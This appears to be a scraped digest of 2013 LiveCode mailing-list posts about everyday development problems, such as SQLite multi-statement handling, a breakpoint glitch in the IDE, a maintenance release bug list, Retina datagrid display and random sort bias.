I hear you say. Because that Ubuntu 8.04 was running on a Pentium III with 256 MB RAM. "So what? How long is Richmond going to wibble on in this vein?" A LONG TIME Because the Open Source Version of Livecode is all about empowering many people who do not have buckets of moolah to run fancy right-up-to-date machines. Oh, and, while I'm here: I connected my favourite monitor of all time that I fished out of a dumpster in front of a supermarket in Scotland 9 years ago.

I'm developing with the ipad version in mind for the future, too. My preferred db will be postgres, with mysql as an alternate (if I don't keep tripping across it's "whoops!"s). However, for performance reasons (as well as the demo &amp; single use versions working without having to install a db server!), it will be necessary to support sqlite as well, keeping the local db. I'm writting a wrapper to take multiple commands, and possibly an update/sync command, which could be to the table in the same or another db. If I'm feeding postgres/mysql, I can have a begin/update this/insert that/commit sequence, no problem. SQLite, though, seems to have at least sporadic issues with multi-line command blocks, and may need them sent one at a time. What I'm scratching my brain for is "unpeeling" a multi-command block where the data will usually include cr. All I'm coming up with so far is putting a line in, and testing for things like "INSERT INTO" "UPDATE" and any other command I use on the next line to see if it is indeed a new line, and otherwise appending to the current working line. But this will trip up on, for example, an address like: Joe Scmoe, President Update your mac! 123 E. Main St. Or am I (hopefully) missing an obvious solution (other than dump sqlite :) </pre> Dr. Hawkins 2013-05-25T17:49:52 http://comments.gmane.org/gmane.comp.ide.revolution.user/187466 <pre>Does anyone know of a way to read the percentage of charge in the battery of an IOS device?

This is the first build of our first maintenance release cycle. For those who are not familiar with the new process please see the 'release process' section of our contributing to LiveCode document which can be found here: http://livecode.com/community/contribute-to-livecode/# Release Process The following bugs have been fixed in this release: 8884 “the properties” missing items. 10794 Flagged chars affect visited color of links. 10849 RevBrowser missing from LiveCode Community edition. 10863 Group command doesn't throw an error when grouping shared groups. 10878 Setting the tabWidths causes crashes. 10897 Exporting snapshot from rounded rectangles adds artefacts. 10905 The htmlText uses “super” instead of “sup. 10908 The flaggedRanges reports an incorrect values when used with link text. 10910 Crash when using crop command. 10856 - Android answer dialogs displayed on app termination prevent app from restarting correctly. 10880 – Creating multiline native fields crashes iOS 6 simulator and devices. 10895 – Use of deprecated iOS API prevents submission of apps to iTunes store. A great way to contribute to the stability of maintenance releases is to test these release candidates. The best way to do this is to make a copy of a production project and open it in this edition. Try out critical aspects of your app in the IDE and on devices (if applicable) and report back any issues to us via the quality control center (quality.runrev.com).

I would like the user to navigate within the text like in HTML with text marks, clicking on a directory headline brings him to the beginning of the selected chapter. I could use the linktext property, but I am missing a target property as a "text mark" and a "go" to it. (without using HTML and a browser) Is there a better approach as putting each chapter in a separate field and showing and hiding each field with selecting one of the linktexts in the directory? I think there must be a more suitable way to handle this behavior. Any hints?

Right now i am experiencing some strange behaviour: 1. ftplaceToolbar places the toolbar and a field to the stack 2. sometimes the toolbar suddenly grays out and is not responsive anymore (IDE and standalone) Is it just me or is anyone else noticing that behaviour? Did you manage to place only some of the FieldTrip buttons(e.g. size, bold, italic, underline) to the stack instead of the whole toolbar?

I was able to recreate the problem repeatedly, so I began to whittle down my script to find what caused the glitch. In so doing, I checked various preference settings to see what might have caused the weird glitch. I kept whittling away until there wasn't much left in my script, so I finally decided to start from scratch with an entirely new app. It happened again with a do-nothing script. Recipe: 1) Put the following simple script into a button's mouseUp script in a new app. 2) Set breakpoints manually on lines 2 and 4. 3) Click the button. It stops on line 2, as expected. 4) Click on Edit/Preferences in the LiveCode menu 5) The app runs to the hardcoded breakpoint on line 6 First of all, it shouldn't have run when I merely opened the preferences dialog. Secondly, it missed the manual breakpoint on line 4 OK, so like a good little developer, I tried the same script in a backleveled version (5.5.1) to see if recent LiveCode updates created the problem. That's the most likely scenario, right? Nope. I got the same results. Apparently this weird glitch has been around since today's pebbles were large boulders. Lots of testing later ... There were *some* instances of opening the preferences dialog that didn't cause the problem. And, selecting individual preference items didn't cause the problem. However, EVERY time I selected the "Updates" preference item, the script "Continue"d. Yeah, I know. The doctors says if it hurts, then don't do that. OK, so I won't open the Preferences dialog and test for "Updates" during debugging sessions. However ... This weird glitch *might* be related in some bizarre manner to prior (seemingly) random and unrecreatable weird glitches I have had with breakpoint executions. The good news (I think) is this time I was able to recreate and isolate the weird glitch. Well, I isolated *a* weird glitch. Whether it is related to my *original* weird glitch, I don't know. The original weird glitch with my app would sometimes (randomly?) get triggered by simply clicking on the "up arrow" in the Variables display of the IDE. Is a keystroke being passed through the hierarchy into the app when it shouldn't be? Unknown. The (random?) up arrow weird glitch happened only in 6.0.1, so it's possible that particular weird glitch occurred because of recent updates to LiveCode. In addition to the above weirdness, the same preferences weird glitch is recreatable in 6.0.1 by clicking on Tools/Project Browser. Am I more likely to open the Project Browser during debugging than I am likely to open the Preferences dialog? Ubetcha. Again, is this preferences/browser dialog weird glitch related to my original weird glitch? Heck if I know. It's just plain weird. Hopefully this exercise will help others who have experienced (seemingly) random weird glitches with breakpoints in the past. It's possible all those weird glitches could have a common thread, so fixing this *recreatable* weird glitch could solve all those other weird glitches at the same time. I suppose I could be the ONLY poor soul who has experienced weird glitches with breakpoints, but I doubt it. Did I mention it was a weird glitch? Simple Script: on mouseUp put empty into tGarbage1 -- once put empty into tGarbage2 -- twice put empty into tGarbage3 -- three times put empty into tGarbage4 -- a lady breakpoint end mouseUp TED _______________________________________________ use-livecode mailing list use-livecode-1W37MKcQCpJ21N0xZs15Ng&lt; at &gt;public.gmane.org Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode </pre> Terry Dennis 2013-05-24T04:34:09 http://comments.gmane.org/gmane.comp.ide.revolution.user/187390 <pre>I have a server project where I need to send some JSON to a URL.

As soon as the clone command is issued, control passes to the cloned stack and the rest of my script is ignored. That's pretty much expected behavior but I'm wondering if there are any tricks that would allow my script to continue processing or perhaps some other method of duplicating a stack. I tried copying the stack to the clipboard followed by a paste but control passed to the new stack immediately after the paste.

Added a datagrid and this works and displays fine on normal resolution displays but on Retina displays for iPhone + iPad nothing is displayed. Seems sort of strange - just want to check if anyone else has done this ok or not? 2. In testing/playing further, I now seem to have mucked something else up - am certainly getting some unexpected behaviour (Think this error came up after deleting a datagrid from one of the cards in the UI stack, though there are still datagrids on other cards) . When I now open the mainstack or try testing on the simulator, what had previously worked now gives me the error "Could not find stack" This error comes from the mApp framework - I can see the code and see that the property (added by the framework) mAppProps["UIStack"] of my main UI stack is empty, thus resulting in this error. Strange. If anyone has ideas I'm keen to learn... or else I'll start again and see if I can somehow replicate. Thanks for any help! cheers Alan :-) p.s.

These are the last few lines of a typical output: (a,b,c) is assigned (a-&gt;3,b-&gt;2,c-&gt;2) and sorted as (b,c,a) where the first is different (a,b,c) is assigned (a-&gt;1,b-&gt;2,c-&gt;2) and sorted as (a,b,c) where the first is same (a,b,c) is assigned (a-&gt;1,b-&gt;2,c-&gt;1) and sorted as (a,c,b) where the first is same (a,b,c) is assigned (a-&gt;2,b-&gt;2,c-&gt;3) and sorted as (a,b,c) where the first is same The first was the same 53% of the time I got percentages in the range 45% to 60%. My theory (other email) predicted 52 percent. You can try upping the number of trials and commenting out the per-sort lines, and see what you get. The problem is equality in the sort. It keeps the same order in comparison of pairs of items. For example, the items sorted in the last case above as though they were 2,2,3. The first item is still first. So... Use large values for the argument to random() in random sorts.

I also have a field associated with each scrollbar which receives the thumbpos of its associated slider. All that works fine However, if I click into the slider value field, my card level scrollbardrag message is triggered with a value of 1. I also see that the message is coming from the value field. If I get rid of the scrollbardrag message at the card level and put it into the script of each individual slider, the problem goes away. If I put a scrollbardrag handler into the script of the value fields, it is triggered as soon as I click into the field. The value fields do not have any scrollbars enabled, do not have a behavior script, and there are no other scripts in the messagepath between them and the card. I'm sure this is not an intended behavior?
